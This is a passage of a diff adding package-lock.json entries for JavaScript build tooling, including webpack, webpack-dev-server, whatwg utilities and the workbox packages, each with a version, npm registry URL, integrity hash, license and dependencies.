"sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "makeerror": "1.0.12" + } + }, + "node_modules/watchpack": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.5.1.tgz", + "integrity": "sha512-Zn5uXdcFNIA1+1Ei5McRd+iRzfhENPCe7LeABkJtNulSxjma+l7ltNx55BWZkRlwRnpOgHqxnjyaDgJnNXnqzg==", + "dev": true, + "license": "MIT", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/webidl-conversions": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz", + "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=10.4" + } + }, + "node_modules/webpack": { + "version": "5.105.4", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.105.4.tgz", + "integrity": "sha512-jTywjboN9aHxFlToqb0K0Zs9SbBoW4zRUlGzI2tYNxVYcEi/IPpn+Xi4ye5jTLvX2YeLuic/IvxNot+Q1jMoOw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/eslint-scope": "^3.7.7", + "@types/estree": "^1.0.8", + "@types/json-schema": "^7.0.15", + "@webassemblyjs/ast": "^1.14.1", + "@webassemblyjs/wasm-edit": "^1.14.1", + "@webassemblyjs/wasm-parser": "^1.14.1", + "acorn": "^8.16.0", + "acorn-import-phases": "^1.0.3", + "browserslist": "^4.28.1", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.20.0", + "es-module-lexer": "^2.0.0", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.11", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.3.1", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^4.3.3", + "tapable": "^2.3.0", + "terser-webpack-plugin": "^5.3.17", + "watchpack": "^2.5.1", + "webpack-sources": "^3.3.4" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz", + "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.15.2", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz", + "integrity": "sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.4", + "ws": "^8.13.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", + "integrity": "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/webpack-manifest-plugin": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz", + "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==", + "dev": true, + "license": "MIT", + "dependencies": { + "tapable": "^2.0.0", + "webpack-sources": "^2.2.0" + }, + "engines": { + "node": ">=12.22.0" + }, + "peerDependencies": { + "webpack": "^4.44.2 || ^5.47.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz", + "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.3.4.tgz", + "integrity": "sha512-7tP1PdV4vF+lYPnkMR0jMY5/la2ub5Fc/8VQrrU+lXkiM6C4TjVfGw7iKfyhnTQOsD+6Q/iKw0eFciziRgD58Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/webpack/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-encoding": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", + "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", + "deprecated": "Use @exodus/bytes instead for a more spec-conformant and faster implementation", + "dev": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "0.4.24" + } + }, + "node_modules/whatwg-encoding/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.20", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz", + "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==", + "dev": true, + "license": "MIT" + }, + "node_modules/whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==", + "dev": true, + "license": "MIT" + }, + "node_modules/whatwg-url": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz", + "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "lodash": "^4.7.0", + "tr46": "^2.1.0", + "webidl-conversions": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.20", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.20.tgz", + "integrity": "sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-background-sync": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.6.0.tgz", + "integrity": "sha512-jkf4ZdgOJxC9u2vztxLuPT/UjlH7m/nWRQ/MgGL0v8BJHoZdVGJd18Kck+a0e55wGXdqyHO+4IQTk0685g4MUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-broadcast-update": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.6.0.tgz", + "integrity": "sha512-nm+v6QmrIFaB/yokJmQ/93qIJ7n72NICxIwQwe5xsZiV2aI93MGGyEyzOzDPVz5THEr5rC3FJSsO3346cId64Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-build": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.6.0.tgz", + "integrity": "sha512-Tjf+gBwOTuGyZwMz2Nk/B13Fuyeo0Q84W++bebbVsfr9iLkDSo6j6PST8tET9HYA58mlRXwlMGpyWO8ETJiXdQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@apideck/better-ajv-errors": "^0.3.1", + "@babel/core": "^7.11.1", + "@babel/preset-env": "^7.11.0", + "@babel/runtime": "^7.11.2", + "@rollup/plugin-babel": "^5.2.0", + "@rollup/plugin-node-resolve": "^11.2.1", + "@rollup/plugin-replace": "^2.4.1", + "@surma/rollup-plugin-off-main-thread": "^2.2.3", + "ajv": "^8.6.0", + "common-tags": "^1.8.0", + "fast-json-stable-stringify": "^2.1.0", + "fs-extra": "^9.0.1", + "glob": "^7.1.6", + "lodash": "^4.17.20", + "pretty-bytes": "^5.3.0", + "rollup": "^2.43.1", + "rollup-plugin-terser": "^7.0.0", + "source-map": "^0.8.0-beta.0", + "stringify-object": "^3.3.0", + "strip-comments": "^2.0.1", + "tempy": "^0.6.0", + "upath": "^1.2.0", + "workbox-background-sync": "6.6.0", + "workbox-broadcast-update": "6.6.0", + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-google-analytics": "6.6.0", + "workbox-navigation-preload": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-range-requests": "6.6.0", + "workbox-recipes": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0", + "workbox-streams": "6.6.0", + "workbox-sw": "6.6.0", + "workbox-window": "6.6.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": { + "version": "0.3.7", + "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.7.tgz", + "integrity": "sha512-TajUJwGWbDwkCx/CZi7tRE8PVB7simCvKJfHUsSdvps+aTM/PDPP4gkLmKnc+x3CE//y9i/nj74GqdL/hwk7Iw==", + "dev": true, + "license": "MIT", + "dependencies": { + "jsonpointer": "^5.0.1", + "leven": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "ajv": ">=8" + } + }, + "node_modules/workbox-build/node_modules/ajv": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz", + "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/workbox-build/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/workbox-build/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/workbox-build/node_modules/source-map": { + "version": "0.8.0-beta.0", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz", + "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==", + "deprecated": "The work that was done in this beta branch won't be included in future versions", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "whatwg-url": "^7.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/workbox-build/node_modules/tr46": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz", + "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/workbox-build/node_modules/webidl-conversions": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz", + "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/workbox-build/node_modules/whatwg-url": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz", + "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "lodash.sortby": "^4.7.0", + "tr46": "^1.0.1", + "webidl-conversions": "^4.0.2" + } + }, + "node_modules/workbox-cacheable-response": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.6.0.tgz", + "integrity": "sha512-JfhJUSQDwsF1Xv3EV1vWzSsCOZn4mQ38bWEBR3LdvOxSPgB65gAM6cS2CX8rkkKHRgiLrN7Wxoyu+TuH67kHrw==", + "deprecated": "workbox-background-sync@6.6.0", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-core": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.6.0.tgz", + "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/workbox-expiration": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.6.0.tgz", + "integrity": "sha512-baplYXcDHbe8vAo7GYvyAmlS4f6998Jff513L4XvlzAOxcl8F620O91guoJ5EOf5qeXG4cGdNZHkkVAPouFCpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-google-analytics": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.6.0.tgz", + "integrity": "sha512-p4DJa6OldXWd6M9zRl0H6vB9lkrmqYFkRQ2xEiNdBFp9U0LhsGO7hsBscVEyH9H2/3eZZt8c97NB2FD9U2NJ+Q==", + "deprecated": "It is not compatible with newer versions of GA starting with v4, as long as you are using GAv3 it should be ok, but the package is not longer being maintained", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-background-sync": "6.6.0", + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-navigation-preload": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.6.0.tgz", + "integrity": "sha512-utNEWG+uOfXdaZmvhshrh7KzhDu/1iMHyQOV6Aqup8Mm78D286ugu5k9MFD9SzBT5TcwgwSORVvInaXWbvKz9Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-precaching": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.6.0.tgz", + "integrity": "sha512-eYu/7MqtRZN1IDttl/UQcSZFkHP7dnvr/X3Vn6Iw6OsPMruQHiVjjomDFCNtd8k2RdjLs0xiz9nq+t3YVBcWPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-range-requests": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.6.0.tgz", + "integrity": "sha512-V3aICz5fLGq5DpSYEU8LxeXvsT//mRWzKrfBOIxzIdQnV/Wj7R+LyJVTczi4CQ4NwKhAaBVaSujI1cEjXW+hTw==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-recipes": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.6.0.tgz", + "integrity": "sha512-TFi3kTgYw73t5tg73yPVqQC8QQjxJSeqjXRO4ouE/CeypmP2O/xqmB/ZFBBQazLTPxILUQ0b8aeh0IuxVn9a6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-routing": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.6.0.tgz", + "integrity": "sha512-x8gdN7VDBiLC03izAZRfU+WKUXJnbqt6PG9Uh0XuPRzJPpZGLKce/FkOX95dWHRpOHWLEq8RXzjW0O+POSkKvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-strategies": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.6.0.tgz", + "integrity": "sha512-eC07XGuINAKUWDnZeIPdRdVja4JQtTuc35TZ8SwMb1ztjp7Ddq2CJ4yqLvWzFWGlYI7CG/YGqaETntTxBGdKgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-streams": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.6.0.tgz", + "integrity": "sha512-rfMJLVvwuED09CnH1RnIep7L9+mj4ufkTyDPVaXPKlhi9+0czCu+SJggWCIFbPpJaAZmp2iyVGLqS3RUmY3fxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0" + } + }, + "node_modules/workbox-sw": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.6.0.tgz", + "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/workbox-webpack-plugin": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.0.tgz", + "integrity": "sha512-xNZIZHalboZU66Wa7x1YkjIqEy1gTR+zPM+kjrYJzqN7iurYZBctBLISyScjhkJKYuRrZUP0iqViZTh8rS0+3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-json-stable-stringify": "^2.1.0", + "pretty-bytes": "^5.4.1", + "upath": "^1.2.0", + "webpack-sources": "^1.4.3", + "workbox-build": "6.6.0" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "webpack": "^4.4.0 || ^5.9.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": 